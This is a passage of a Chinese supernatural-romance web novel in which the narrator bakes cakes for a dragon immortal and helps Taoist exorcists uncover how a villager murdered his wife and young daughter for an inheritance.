“你说对了,她的确是城里有钱人家的女孩。” 我情不自禁惋惜道: “赵大山是在城里打工期间认识她的,她正好是赵大山去的那家工厂老板的女儿,两人一见如故,处的挺好。 后来那家工厂惹上了官司,开不下去倒闭了,赵大山也就从城里回来,继续在家啃老了。 没多久她家就出了事,说是大老板和老板娘都在一场火灾中没了命,她侥幸逃了出来,但因为亲眼看见父母被大火活活烧死,从那以后患上了极严重的心理疾病。 赵大山一听这事立马就收拾行李跑去城里陪她,和她在城里朝夕相处了三个多月。 据说后来是赵大山对她无微不至的照顾感动了她,于是她就带着父母的遗产,嫁来了槐荫村。 她嫁给赵大山那年我才十四岁,我还记得他俩的婚礼当时在村里办的可风光了呢,光酒席就摆了三天。 村里邻居和附近村子的熟人,只要来喝喜酒,都是随到随入席,直接吃。 一天二十四小时,从早到晚都热菜热汤不断。” 我说完,黄仙停下给龙仙大人捶背的动作,探头说: “你有没有发现,这其实是个吃绝户的故事……娶了老板家的女儿,继承老板家的财产,然后杀了老板女儿。” 我赞同地嗯了声: “从前和他家不怎么来往,没有感觉,现在结合赵大山杀了他前妻的事来看,的确是吃绝户。” 流苏愤愤骂道:“这个渣男,实在太坏了!被大蛇迷住吸走精元也是他活该!” 柳云衣一本正经地证明:“看吧,我就说云响不会滥杀无辜。” 虎仙逗他:“嗨老蛇,你和那个柳云响到底是什么关系?你叫柳云衣她叫柳云响,听起来怎么有点像兄妹。” 柳云衣摆摆手解释: “不是兄妹,我们黄河蛇族同一个时期出生的小蛇,名字中间的字都是一样的。 云字辈,就代表上一个千年出生的蛇,河底的纪年方式和岸上人类差不多,河底从三十年前,开始进入这一个千年,也就是这三十年出生的小蛇,就不再是云字辈,而是历字辈了。 所以黄河水下的灵蛇,通常知道名字就能推测出他有多大岁数了。” 黄仙拉长音哦了声,一巴掌拍在柳云衣肩上:“讲究!” 我好奇地把脑袋凑过去,问柳云衣:“黄河下的蛇能从名字辈分知道岁数,那黄河下的龙呢?” 神色淡漠的龙仙大人抿了口茶,高冷地用余光瞥我,没搭理我。 柳云衣认真想了下,表情凝重配合着凑近我些,压低声与我正儿八经道: “小萦……你为什么会觉得我一条蛇有本事接触到龙,并且还能得知龙族本家辈分的计算方式?” 我:“……” 不好意思的冲他笑笑,我尴尬道:“不是说龙蛇一家嘛……” 柳云衣脸黑,欲哭无泪地伸手比划着想我描述:“你觉得我和龙尊大人……像一家吗?” 我看了看安静品茶的龙仙大人,又看了看柳云衣,“不像。” 柳云衣整了整外衣衣襟:“那不就得了……” “龙仙大人比你好看!”我两眼放光的激动道。 柳云衣愣住,抽了抽唇角。 龙仙大人一口茶含进嘴里呛咳出声,俊脸都咳红了。 黄仙见怪不怪地给龙仙大人拍后背顺气: “淡定啦龙尊大人,小萦以前就是因为黑蛟长得还不错,一眼挑中了他…… 为了那张脸,可是生生受了四年的窝囊气啊!” 龙仙大人冷脸放下杯子,嫌弃用眼刀剜我:“出息!” 我心虚干笑笑,“主要是、抛开人品不谈,江墨川那张脸确实耐看,尤其是那双红蓝异瞳……” 红蓝异瞳的魅力,异瞳控根本无法抵抗啊。 龙仙大人不悦拧眉,看我的眼神里携着极强的不满,“风萦,你真肤浅!” 捏紧手里杯子,龙仙大人又阴恻恻地补了句: “那晚在黄河边,你也说过,本王是你此生,见过的最好看的男人。怎么,你从前也是这么哄那条黑蛟的?” 院子里的仙家们立马朝我投来了惊愕的目光,就连堂屋里的那几位也兴奋的从牌位里冒出来,上赶着吃热乎的瓜。 只有流苏仗义替我反驳:“才不会呢,二姐夸人从不说一样的话!” 流苏说得对! 但怎么感觉,这话哪里怪怪的呢? 龙仙大人好看的紫眸瞬息阴冷了下去,眼神淬了冰般冷飕飕往我身上射,似是在赌气,沉声审问:“怎么,你还夸过他别的话?” “没有没有!” 我立马摆手解释,赶紧坐近点挽住他胳膊讨好他: “正是因为龙仙大人你是我这辈子见过的最好看的男人,所以我才果断选择追随龙仙大人你! 江墨川他怎么能和你比!江墨川也就只有那双异瞳还能看。 龙仙大人您就不一样了,您哪哪都好,你全身上下都好看!” 啃花生的黄仙一粒花生米卡嗓门眼里,昂头捂着脖子咔半天。 胡玉衡晃着雪白的大尾巴一副明白了的表情:“哪哪都好……” 柳云衣:“全身上下……” 流苏:“都好看?” 龙仙大人俊脸一红,当即无情将我推开,剑眉微蹙,目光躲闪地闷咳一声:“你、闭嘴!” 我失落地哦了声…… 我也没说错啊,龙仙大人的龙身就是很好看啊! 墨紫色的鳞片泛着寒光,威严霸气。 比江墨川的真身好看一千倍好不好! 自从江墨川用法术掩下他那双与众不同的红蓝异瞳后,我才发现,他长得也就那样…… 还没有颜如玉俊秀呢! 论美瞳对颜值的重要性。 瞟见流苏她们还是一脸惊呆了的表情,我试图解释:“真好看!比江墨川好看霸气一万倍!而且还凉凉的会发光……” 可惜话还没说完呢,嘴巴就被龙仙大人从后捂了住,龙仙大人眼神躲闪耳根泛红的没好气低斥:“别说了!本王、信你了!” 我哽住。 果然,真诚是唯一的必杀技! 龙仙大人脸色怪异地松开我,耳尖充血地拂袖起身,大步迈向堂屋。 胡玉衡摇了摇尾巴啧啧感叹:“不得不说,小萦你是懂拿捏龙尊的。” 黄仙过来拍我肩膀:“再接再厉啊小萦,哥几个的美好未来就靠你了!” 柳云衣靠近我,和我说悄悄话:“那个……龙尊、什么东西会发光?” 乖宝宝流苏倒吸一口冷气! 胡玉衡受不了的痛苦掩面:“苍天啊,你敢问我都不敢听!” 黄仙:“记下来,今日见识加一。” 我无比认真地回答:“龙鳞啊!龙仙大人的龙鳞能发紫光,可漂亮了!” 胡玉衡:“……” 黄仙:“撤回有一个知识点!” 胡玉衡和黄仙好像有点失望,相继跟着龙仙大人进了堂屋:“算了,我不坐摇摇车。” “龙尊上次踹我那两脚令我颇有感悟,我得让他再踹我一次,沾沾他老人家的仙气!” 柳云衣憋不住的噗嗤笑出声,“我就知道,我们家小萦胆子没那么大,敢当着龙尊的面说。” 我一头雾水地无奈问:“你们以为我说的什么?” 流苏没良心地说出真相:“我们以为你说的是不可描述内容……” 不、可、描述?! 我干愣在原地。 不可描述……那也得我能描述啊! 我们俩在梦中的时候,我根本看不清他的、身体…… 上次在黄河里,我也是昏昏欲睡。 虽然我们现在是睡在一个屋里一张床上,可他睡觉根本不脱衣服。 我就算是觊觎他的美色,也没机会。 我丢人扶额:“哎——你们高估我了,我和他的关系还没熟到那个地步。” 柳云衣很有经验地教导我: “慢慢来嘛,你和龙尊大人刚认识不久,感情还没有培养起来。 多相处一段时间,等他能看见你身上的好,你也能看见他身上的好了,你们才算进入恋爱状态。 现在你们只能算是在某些方面比较熟的、陌生人,你不排斥他,他不排斥你,就已经是最好的情况了。 而且我看龙仙大人还是蛮在乎包容你的,小萦,相信哥的眼光,同为男人,哥比你更了解男人。 你这次选的人,比江墨川那个蛟渣强上千万倍,龙尊和江墨川不一样,我们能感受到,龙尊是个重情重义的人。” 我赞同点点脑袋:“龙仙大人当然比江墨川好千万倍,龙仙大人从不会打击我,也不会扔下我不管。江墨川,不配和他比。” 柳云衣倒了杯茶水给我: “我看你对龙尊的感觉还挺好…… 对了,你刚才问我黄河下龙族的名字辈分什么的,你知道龙尊大人的名字?” 我嗯了声:“知道,我缠着他问了好几次才问出来。” 柳云衣捧起茶杯吹了吹杯上水雾: “黄河底下龙族也不少,像龙尊大人这种已经成仙且修为高深的龙,八成是哪段水域的小龙王。 黄河龙族归黄河龙王管,小龙王之上,是大龙王。 我倒是听说过几位小龙王的名字,你快告诉我龙尊的名字是什么,说不准我还真知道他是何方神圣。” 我震惊低呼:“哇,黄河底下的仙妖等级这么讲究吗?龙仙大人的名字,叫帝曦……” 原本还在桌子前正儿八百喝茶的柳云衣突然一屁股坐到了地上,茶水泼了自己一脸—— 像是受了极大的惊吓,面无血色的恐慌到结巴: “你你你你,你说什么?!他他他他、他是……” 我不是很理解地再次重复:“帝曦,帝王的帝,日光之华是为曦。” 第36章 二姐你喜欢姐夫吗? 话音刚落,柳云衣就疯狂掐着自己的人中翻白眼大喘气: “他他他、怎么会……幻听,一定是幻听!” 流苏迷茫看我:“二姐,云衣哥哥怎么了?” 我也看不懂他这是什么反应,疑惑问道: “柳云衣,你是不是知道什么,你听过这个名字?龙仙大人到底是谁?” 柳云衣狼狈从地上爬起来: “他叫帝曦,这个名字……他根本不是普通龙族,他是黄河……” 不等他把话说完,龙仙大人的威严低吼便从堂屋内陡然传了出来:“柳云衣,给本王滚进来!” 柳云衣猛地一哆嗦,赶忙应声:“哎!我来了!” 说完,扭头与我囫囵道: “他不是普通龙族,他是、黄河里很厉害的龙神! 嗯,这名字一听就很尊贵霸气! 不和你们聊了,我先过去侍奉龙王大人了,有事再喊我哈!” 我和流苏很是无语地目送柳云衣狼狈跑进堂屋,连衣袍上的白灰都没来得及拍掉…… 流苏咬唇犹豫了几秒钟,认真和我说: “二姐,我怎么觉得家里这几位仙家,脑子都有点……笨笨的。” 我干笑两声:“不用觉得,就是事实。” 早些年我就发现,家里这群仙家中,也就只有江墨川一个心眼子比较多。 连身为狐妖的胡玉衡在江墨川跟前都显得像个铁憨憨。 柳云衣颜如玉他们更是不堪一提。 哎,也不晓得仙家们都聚在堂屋里干嘛,我和流苏都在外晒了半个多小时的太阳也没见他们再出来。 直到该做午饭的点了,我才悄悄摸进堂屋。 屋内四下无人一片寂静,仙家们看样子都回牌位里休息了。 只有龙仙大人还站在房间虚掩的木窗前,看着窗外晃动的桃树枝影走神。 “中午还回神位里修炼吗?”我问。 龙仙大人蓦然醒神,冷冷嗯了声。 我壮着胆子扯住他袖角,歪头提议:“中午留下来吃饭吧,院子里的桃花开了,我给你做糕吃。” 龙仙大人怔住,讶然回头看我,沉默片刻,发出灵魂质问:“你还会做糕点?能吃?” 这话说的,我顿时就不高兴了,晃了晃他的袖子小声咕哝:“放心,没毒,吃不坏你。” 拽住他的袖子把他往外带:“走啊龙仙大人,去外面晒晒太阳,躲在屋子里冷冷清清的有什么意思。” 他没再说话,只任由我拽他出堂屋门。 正堂供案上的仙家们冒出脑袋心底不平衡的委屈哼唧: “哎,认识这么多年,小萦都没有留咱们吃过饭。” “说起来还真有点怀念小萦做的花糕了,真心讨厌集上卖的绿豆糕,这几年都快给我吃出糖尿病了!” “可不是么。都怪沈沐风!乱听那条死蛟的挑拨误会小萦,赌气怂恿我们集体不吃小萦亲手做的贡品…… 害小萦伤了心,那次以后就再也不给我们做贡品了,每次都是上街买绿豆糕红豆糕供养我们。 街上卖的那糕,真不好吃,我吃了三年都快把自己吃成豆子了!” “我那时、也是糊涂了,才听信江墨川编造的谎言……说得像你们当时不生气一样! 也不晓得是谁那会子指天发誓说自己再吃小萦亲手做的糕点,自己就是狗。 又是谁咬牙切齿地嫌弃小萦,说自己宁肯喝西北风,也不稀罕小萦做的脏东西。 还当着小萦的面把糕点盘子都给打翻了,口口声声让小萦以后少自作多情。 还说小萦黑心肝,做出来的东西也是世间最污秽之物,不配入他的口…… 哎呀,你踢我干什么!” “死娘炮你再胡说八道我把你的扇子给撕了!” “呦呦呦,急眼了。敢说不敢认的蠢东西,是,我是听信了江墨川的挑拨对不起小萦。 可你们也不无辜,四年的冷暴力,你我皆是加害者!” “……” 说来,自打仙家们宁愿绝食也不肯吃我做的糕点后,我也三年没再做花糕了。 毕竟平时一个人生活,江墨川又是条养不住的野蛟,一整天里有大半天时间都不在家,在家也不吃我做的饭。 花糕这东西做着费时费力,一个人做一个人吃实在没什么意思。 美食么,还是得有人共享才能吃得开心,做得值得。 好在三年没做我也没手生,按照记忆里的步骤和面、加猪油、洒桃花花瓣、定形…… 流苏把洗好的桃花放在我手边,搂着一罐蜂蜜馋得流口水。 我知道流苏这丫头是个小吃货,拿出一只盛调料的白瓷碟,舀了几勺花蜜送给她泡水喝。 她高兴拿出自己的小杯子,几杯蜂蜜水下肚,蒸屉里的桃花糕也蒸得差不多了。 出笼后的第一块糕点被我送给了龙仙大人品尝,接过花糕的龙仙大人深深看了我一眼,在我紧张期待的目光里,张口咬了一小块。 试着嚼了几下,尝到甜味,这才放心地继续吃。 “怎么样?好吃吗?”我认真问。 他嗯了声,少见地夸了我:“手艺不错,桃花糕口感很好。” 手艺终于得到了别人的认可,我欢喜地把一小盘桃花糕都送给了他,“那你多吃几块!” 他低眸瞧着被我塞进怀里的糕点,蹙眉:“风萦,本王不……” 我自顾自地开心说: “龙仙大人,我原本以为,你会嫌我做得不好吃。你是第一个夸我糕点做得好的人! 以前都是我自己在心里暗暗夸自己做得好。龙仙大人,你人真好! 龙仙大人,好像,我长这么大,只有你不会否定我的努力,打击我的信心。” 他没再说下去,拿着糕点盘走了神。 我昂头问他:“龙仙大人,你刚才想说什么来着?” 他一愣,别过头闷咳一声,道:“本王是说,糕点很好,很合本王的口味。还有吗?” 我指了指厨房:“有,还有两笼在锅上呢。” 他端着桃花糕拂袖往院子里去,“一个也不许给那些野仙送,不懂得珍惜,就要承受失去的代价!” 他这是,在给我抱不平吗…… 我心底一暖,内心深处飘摇无依的那瓣桃花,好像终于寻到了一片可以栖落的温水。 流苏悄无声息地端着糕点出现在我身后,塞了一嘴花糕口齿不清地说: “姐夫他虽然平时凶凶的,但还是蛮关心二姐的。姐夫心很细,很在意二姐的感受。 姐夫可能只是不怎么会表达自己的在意,但姐夫会用行动证明他的在乎。 哇,二姐,你和姐夫越来越甜了。” 我伸手摸了块桃花糕送进嘴里,低头不自信道: “他只是可怜我而已,真仙家,和江墨川他们这种仙家是不一样的。 真仙没有戾气,本性善良,慈悲心肠。苏苏,怜悯不是喜欢,更不是爱。” “那二姐你呢,你喜欢姐夫吗?”流苏八卦的追问。 我哽住,噎了口桃花糕正儿八经说:“现在谈这个也太早了点,我们才认识几天。” 流苏点点头,似懂非懂:“反正我觉得二姐你迟早会喜欢上姐夫的,姐夫也迟早会喜欢上二姐。” 我心跳异常的有点快,拿了块桃花糕塞进流苏嘴里:“吃你的糕去!” 抬头看向远处龙仙大人颀长尊贵的背影,我突然有种很强烈的、害怕失去之感。 从小到大,对我好的人,似乎都会在某一个瞬间猝不及防地离开我…… 爸爸是,妈妈是,连后来的这些仙家也是。 现在我身边有了流苏,有了龙仙大人,他们是否也会在某个瞬间,毫无征兆就走了呢。 下午。 我和流苏跟着阿乞师叔杨泽安一起去赵大山家看望赵大山的情况。 昨晚的母蛇被阿乞师叔扯掉了一片护心鳞,法力受损,母蛇在赵大山身上施的迷魂术也慢慢失了效。 我们一行人过去时,赵大山已经神智清醒,变回了正常人。 只是赵大山一记起自己和一条大蛇夜夜缠绵了两个月,就怕得全身哆嗦,躲在自家媳妇的被窝里死活不肯出去。 “都是那条蛇,她迷惑了我!道长,道长你要救我啊!我还不想死!”赵大山窝囊胆怯地抓着阿乞师叔手含泪祈求。 杨泽安看了眼脸色发青的赵大山,目露鄙夷地沉声问: “我们初步判断,是你家的阴气引来了那条母蛇。 赵大山,听你老娘说,你前妻和闺女都死在了那间厨房里,那间厨房怨气很重,你前妻和你女儿是怎么死的? 正常阳寿尽了的人,死后绝不会有那么重的怨气。” 赵大山闻言身上一抖,面上扫过一瞬的惊恐,但很快就瘪嘴继续装起无辜: “我前头那个媳妇,她是肺病死的呀!她的肺病是从娘胎里带出来的,早年也在大医院里看过,专家都说了,她的肺病治不好,只会随着年纪的增长越来越严重。 两年前的春天,家里正忙着插秧干农活呢,那天下了雷阵雨,我媳妇就想着尽快把那块田的秧苗给插完,省得下完雨后田间泥泞多,不好走,农田里涨水也不好再继续干。 谁知就是那一淋,把她淋感冒了!晚上回来刚躺下,她就发起了高烧。也怪我,我那天也忙了一下午,回来双腿都是酸的,实在累得厉害,就没有怎么管她。 夜里我的确听见她咳了两声,但我以为是老毛病又犯了,就习以为常没怎么在意。 第二天凌晨四点,我发现她身上体温烫人,给她量了体温,才知道她烧到了三十八度九。 然后我就急忙给她喂退烧药啊,我本来想带她去村里老何郎中那打个吊水治治的,可她偏不乐意,非说自己睡一觉就好了。 我再坚持,她还和我急。我想着她还生着病,我就不惹她生气了,先让她睡一觉,睡醒了要是还不行,我们再去何郎中那打针。 但谁承想……” 赵大山装模作样地抬起胳膊用袖口擦擦眼泪,悲伤道: “下午我去屋里喊她,才发现,她身子都硬了……” 阿乞师叔很快就找到赵大山话中的破绽,语气凝重: “既然你前妻是得急症死的,那为什么,你前妻没有死在你们的卧室,反而死在厨屋里?” 第37章 妈妈好疼,妈妈的头被爸爸…… 赵大山哽了哽,反应挺快地擦着眼泪回答: “咱们乡下人,没那么多讲究,又住在黄河边上,冬天水冷风冷,别看我这三间平房是水泥屋,它不防风。 论保暖效果,还是得土砖盖的厨屋! 我们两口子怕冷,头一年冬天就从睡觉的这间房搬去了厨屋睡,准备第二年春天暖和些了再搬回来呢! 厨屋的那张床就是当时为了冬天保暖安置的!” 北方黄河边上确实有在厨屋放床的习惯,不过主要目的并不是为了冬天保暖,而是因为有的中年人家里有老人。 老人和自己的儿子住,但名义上又分了家,儿子为了方便照顾老人,就会将自家的一间厨屋腾出来放张床,专给老人居住。 厨屋暖和,老人年岁大了又怕冷,睡厨屋的确能起到保暖的作用。 久而久之,村里人将厨房当卧房用就很常见了。 赵大山的这个解释,听起来很合理。 可能是怕我们不信,赵大山伸手又拉开床头抽屉,从里面拿出一小透明文件袋的病例,送给阿乞师叔看: “你瞧,这就是我媳妇的病历,我每年都有带我媳妇去复查的。 说来,我也很想念我那个媳妇啊。 我俩是自由恋爱,她十七岁就跟了我,十九岁就和我领了结婚证嫁来了槐荫村,我想过我们未来的日子可能会幸福不长,但我实在没想到,她才嫁过来六年就去了…… 哎,我那个媳妇善良温柔,勤劳勇敢,她嫁过来后认真操持着这个家,是个十里八乡打着灯笼都难寻的好女人。 她死后,我哭了小半个月,眼睛都快哭瞎了。 我常常在夜里和老天爷说啊,我媳妇那么好,为什么那么早就把她收了去,我宁愿把自己的阳寿分给我媳妇一半,宁愿得肺病的那个人是我! 哎,不过我妈和我说,她走了,也是解脱了,她那么好的女人,死后肯定是上天享福去了! 人间太苦,她早走,早安生。” 要不是早知道实情,我们怕是也会被眼前这个哭得双眼通红,一脸情真意切的男人给糊弄住。 阿乞师叔随便翻看了几页病历,嘶了声转移话题:“那你女儿又是怎么回事?” 赵大山抹抹眼泪,满目哀然: “大概也是因为这个病,我上头那个媳妇肺病是家族遗传,我闺女打小也动不动就咳个没完没了,我上头那个媳妇死后,女儿就因为妈妈的离世大病了一场。 好不容易养好了,在水边玩又不小心摔进了水里,我听见动静就赶紧跳下去捞,捞上来的时候还有气呢。 可惜刚到家,没来得及请郎中,孩子就走了。” “所以,你的前妻和女儿都属于走得急那一类,走之前,你们并没有找过任何人来抢救?”杨泽安冷着脸说。 赵大山点点头,哭得那叫一个肝肠寸断: “可不嘛!怎么抢救啊,人都没了,何必再去麻烦别人,让别人平白跟着沾晦气。” 见赵大山不说实话,阿乞师叔把病历还回去,拍拍手说: “行吧,那条蛇昨晚被我们打伤了,我刚才又在你家附近设下了法阵,一时半会她闯不进来。 我们回去研究一下怎么抓蛇,你这边有什么情况再联系我们。” “道长啊!” 赵大山忙不迭迭地再次抓住阿乞师叔手涕泪淋淋请求: “你可一定要救我啊!我还年轻我不想死! 道长,咱们不能等那条蛇先行动啊,咱们要先发制人! 你就不能趁她受伤,现在就去把她擒了吗? 万一、她再过来,我来不及喊你们,你们要是来迟一步,我可不就完蛋了吗?” 近三十的大男人抱着阿乞师叔胳膊哭得眼泪一把鼻涕一把,将阿乞师叔膈应的忙用手胡乱推他。 “就算要抓她,也得知道她现在躲在哪啊!没事,你家有我设的法阵在,那蛇进不来的你放心!” 阿乞师叔用力将胳膊抽回来,拍拍袖子急着要走: “你被母蛇吸走了太多精气,这几天还是在家好好休养吧! 有事随时联系我们,你放心,我们肯定能及时赶到。 行了你继续睡觉吧,我们先回去了。” 说完,给我们使了个眼神示意我们快跟上,生怕晚跑一步又被赵大山这个狗皮膏药给黏住了。 顺利踏上赵大山家屋后的小路,阿乞师叔才难受地找杨泽安要纸巾疯狂擦拭自己胳膊上的眼泪鼻涕,受不了的蹙眉恶心道: “咦,赵大山一个二十八九岁的大男人怎么这样埋汰呢!我的胳膊啊,不干净了!” 杨泽安憋着火愤愤道: “他还不说实话,理由倒是找得好,天衣无缝。 要不是早有准备谁会把已死前妻的病历文件放睡觉屋的床头抽屉里啊! 摆明了是早就防着别人追查,想有备无患来着!” 流苏小声咕哝:“杀人哎,可是犯法要蹲局子的,还有可能被枪毙。这种要命又丢脸的事,他肯定不会承认。” 阿乞师叔擦干净袖子上的脏东西, “他活不了几天了,顶多还有两个月的阳寿,当然这还得在母蛇不继续吸他的前提下。 我刚才看他印堂都黑了,三魂有一魂都已经冒出头顶了。” “该!人作恶人不收天收!杀人偿命,这是他罪有应得!”杨泽安呸了声,骂道。 说话间,阿乞师叔腰间别着的三清铃突然叮一声轻响。 阿乞师叔随手扔掉手里的纸巾,满意道:“柳云衣那边已经得手了,走,咱们去赵大山前妻的坟前!” 来之前阿乞师叔特意画了张符,让村长江叔帮忙去找吴小红,再趁她不注意偷偷贴她身上。 那张符会带吴小红去赵大山前妻的坟地,而胡玉衡的牌位早被我们过来时顺路丢在了坟地不远处的荒草堆里。 这样就能确保胡玉衡可以在赵大山前妻坟前顺利吓到吴小红。 之所以挑来挑去选择对吴小红下手,是因为吴小红身上有阴气,她婆婆赵家婶子身上就没有。 可见赵大山前妻缠过吴小红,但不知为什么,没伤害吴小红。 总之吴小红和赵大山前妻之间肯定有什么因果牵连在,说不准,吴小红真知道赵大山前妻怎么死的…… 我们火急火燎赶到赵大山前妻的坟地前时,胡玉衡已经把吴小红逼躺在了赵大山前妻的坟包上。 胡玉衡顶着一张惨白的女人脸,穿着红裙子,光天化日下伸手要掐吴小红脖子,口中还不停嚷嚷着: “吴小红……下来陪我,下来陪我——” 吴小红倒在坟包上捂脸哭得委屈: “兰茹姐你就别吓唬我了,我害怕……你要我下去陪你,你倒是带我走啊! 你总吓唬我不动手,我怕死了!” 流苏从草堆里捡起牌位,拍拍灰,抱进怀里,把正扮鬼的胡玉衡收回牌位内。 “你认识赵大山前妻?”阿乞师叔走到吴小红跟前,开门见山地好奇问:“你知道赵大山前妻是怎么死的吗?” 捂脸痛哭的吴小红听见阿乞师叔的声音,猛地憋住哭泣,拿下捂在脸上的双手震惊看着悄然出现的我们…… 下一秒从坟包上爬起来转身就跑。 阿乞师叔冲她背影高声道:“赵大山前妻已经缠了你好一阵了,你现在只有说出真相,才能保住自己的小命!” 跑出去的吴小红脚步一顿,在原地愣了很久,才动作僵硬地转身,红着一双眼眶问阿乞师叔:“赵大山呢?她为什么不缠赵大山!” 阿乞师叔没有瞒她:“那条大蛇,就是她,她一直在缠赵大山,并且很想让赵大山给她偿命。” “偿命?”吴小红含泪哽了嗓音:“你们都知道了?谁和你们说的?” 杨泽安冷冷道:“没人告诉我们真相,可孤魂会替自己申冤。” 吴小红张了张嘴,无助地弯腰捂脸放声大哭,嚎了两嗓子,泪眼婆娑地问我们: “你们真要收了她吗?兰茹姐是个可怜人,你们能不能放过她……都是赵家欺负了她!” 我深吸一口气,赌对了,吴小红真的知道内情! 阿乞师叔爬到坟头坐下,拍拍手,“你告诉我们,赵大山前妻和女儿是怎么死的,我们才好判断要不要对她下死手。” 吴小红一听有戏,紧忙跑回来,站在坟包前和阿乞师叔如实交代: “好,我说,我把我知道的都告诉你们,但你们得答应我,不能为了钱偏帮凶手!” 这个凶手,毋庸置疑是指她男人赵大山。 赵大山还真不是东西,不然也不至于两任老婆都恨他。 杨泽安潇洒一掀黑风衣衣摆,也在旁边找个小土堆坐下:“那你可想多了,我们根本没收钱。” 吴小红这才暗暗松口气,捂着胸口,止住哭声娓娓道来: “我不知道兰茹姐是怎么死的,但直觉告诉我,肯定是杨大山这个畜生害的! 而且,我知道兰茹姐的女儿是怎么死的,亲眼所见……” 我忙问:“赵大山闺女?他难不成丧心病狂到连亲女儿都杀?!” 吴小红憋屈地又哭起来: “他就不是个人!说他丧心病狂都是轻的了! 两年前,兰茹姐因病过世,赵大山他老娘急着给赵大山续弦,就托媒人在附近村子找年龄合适的女人再婚。 赵家承诺的彩礼很多,二十八万八,但要求是女孩不能结过婚,还得好生养,能生儿子。 我娘家大表姐听说这回事后立马就把我介绍给了媒人,媒人当时看我长得瘦,还怀疑我不好怀孕,怕我到了赵家生不出儿子。 结果我娘家妈为了顺利拿到赵家的彩礼,直接和媒人说我之前怀过,只是打掉了,县城医院有经验的老医师说,我打掉的就是个儿子。 我也是做梦都没想到,有一天我怀过孕打过胎还能成为嫁人的优势。 那媒人听了这事也是松口气,和我说赵家之前那个媳妇就是生不出儿子才遭人厌,这次再娶,点名要能生儿子的闺女。 我既然怀过儿子,肯定身体没问题,送到赵家包能生。 媒人也赶着要说媒钱,第二天就把我带去了赵家,给赵大山老娘看。 赵大山老娘也嫌我身子瘦,怕我不能干活,谁知媒婆两嘴一碰,竟然用我娘家妈急着拿彩礼给弟弟治病的事说服了赵大山老娘。 赵大山老娘相中了我嫁过来就等于签了卖身契,好拿捏这一点,同意了这桩事。 赵家人讲究,娶我之前还要先择日子,合八字,下聘礼,拜祖宗。 流程很长,足足两个月。 那两个月我娘家妈为了能让我在赵大山老娘眼皮子底下多表现,就总撵我来赵家给他们干农活。 我准备嫁过来那段时间,朵朵还没有死,但生病了。 我是想着,反正我嫁过来是要当后妈的,早照顾晚照顾都一样,何况和孩子培养感情总比讨好大人容易。 然后我每回来,都会给朵朵带点好吃的,朵朵发烧养病也是我照顾。 朵朵那孩子很乖,虽然才虚岁五岁,还不大懂事,但谁对她好她心里门清,我和她相处不过半个月,她就粘我粘得很。 只是那孩子不怎么爱说话,平时也总是呆呆的,赵大山老娘说,孩子是在她妈的灵堂前受了惊,掉了魂,所以才病殃殃的,像个愣头傻子。 我原本还问过娘家老人,遇见这种情况怎么处理,娘家老人说没事,等我嫁过来冲冲喜就好了。 我也以为那孩子能好来着,谁知有一天晚上,那孩子发烧我留下来照顾她,和她睡在一张床上。 夜里她发烧说胡话,嘀嘀咕咕了好半晌,突然冒出了一句: 妈妈好疼,妈妈的头被爸爸砍了下来……” 我心疼攥住十指,那孩子是看见了…… 难怪会被吓病! 第一卷 第38章 是不是失过忆 吴小红哭泣着说下去: “我原以为是那孩子烧糊涂了,在胡说八道。 但五天后的那个下午,我去村里刘婶子家买了一筐鸡蛋,想给朵朵补补身体,谁知回来路上却听说朵朵掉池塘里了。 我紧忙一路跑到家,朵朵当时就被赵大山放在厨屋那张床上,我在门外看见朵朵醒了,在哭,赵大山守在朵朵床前,我正想进门,可谁想到…… 却看见赵大山突然发火,拿起床上的被子,死死捂住了朵朵的脸! 我那会子实在被吓坏了,加上害怕,没能第一时间跑过去阻止…… 等我回过神,本来就呼吸微弱的朵朵已经没声了。 我怕赵大山发现我目睹他杀人,再杀我灭口,我就赶紧偷偷跑远躲了起来,等晚上才回家。 我回去的时候,赵大山他爸妈已经通知邻居和亲戚,说朵朵掉水里淹死了……” 阿乞师叔捋清前因后果恍然大悟: “原来是他女儿看见他杀人,所以他才狠心把女儿也杀了的。那你知不知道,赵大山为什么要杀他前妻?” 吴小红哭得抽了抽,摇头: “我不知道,但我感觉……也许是因为兰茹姐父母留下的那笔遗产。 去年冬天,赵大山和他老娘在家里烤火,我在外挖红薯,回家路过窗外,无意听见他老娘说什么…… 幸好没让兰茹姐把那笔钱拿出去乱花,兰茹姐既然嫁到赵家还想离婚分财产,是在做梦。 我猜,兰茹姐死前肯定在和赵大山闹离婚。 赵大山他就是个只会窝里横的畜生,他家暴,一时没控制住,把人砍死了也是很有可能的。” 杨泽安听完深呼吸,忿忿不平道:“还真是个吃绝户的故事。” 阿乞师叔问吴小红:“那你,是怎么认识赵大山前妻的?” 吴小红抹了把眼泪憋屈道: “赵大山他家暴啊!动不动就打我撒气,我嫁过来还没一个月,他就把我往死里打,几乎每隔两天他就要让我身上见点伤。 过年那段时间,我没忍住和他吵了一架,谁知道他拿起菜刀就往我身上砍。 我以为我也要死在他手里了,可他的菜刀最后却没有落下来。 我一抬头,就看见兰茹姐的魂站在赵大山身后,握着赵大山的手,不让赵大山挥刀。 我见过兰茹姐和赵大山的婚纱照,我能认出她。 从那以后,赵大山每次打我,她都会出现。 她的样子很吓人,脖子上还有一道血口,但她会保护我啊。 她是个好人,她和朵朵都不该落得这个下场!” 听完她的讲述,杨泽安丢了块泥渣出去, “要不然……还是让那条大蛇把赵大山吃了吧,这种人,我都担心那蛇吃了他反胃!” 流苏弱弱举手:“加一。” 阿乞师叔无奈叹息:“因果循环,都是报应。” “道长,你可不可以、别再插手这件事了,杀人偿命,赵大山这是罪有应得!”吴小红哽咽着请求。 阿乞师叔摸着下巴为难道: “现在已经不是我们不插手,就可以任事态继续恶化发展下去了,你应该知道,风柔和江墨川王白雾也在干涉这件事。 我们插手,是应赵三叔所求,可江墨川他们为什么坚持要蹚这趟浑水,我们就不清楚了。 他们肯定是有什么目的,而且极有可能就是冲着那条蛇来的。 就算我们现在撂挑子不干,江墨川那边也不会轻易收手。 相反,我们现在还不能直接退出,我们退出了,后续事就不由我们掌控了。 江墨川可不是什么有良心的人,一旦你婆婆知道赵大山前妻就是那条蛇,你婆婆肯定会不惜代价要求江墨川杀了那条蛇。 我们在,至少还能在关键时刻护她一把,让她不至于魂飞魄散。” 吴小红吸了吸鼻子骂道: “王白雾那个多事精长舌妇,平时就喜欢在赵大山耳边嚼舌根。 好几次赵大山都是因为她打的我,兰茹姐活着的时候肯定也没少受她欺负! 如果她知道兰茹姐变成蛇回来了,肯定不会放过兰茹姐…… 道长,你慈悲为怀救救兰茹姐,兰茹姐她死的冤啊,朵朵也死的冤!” 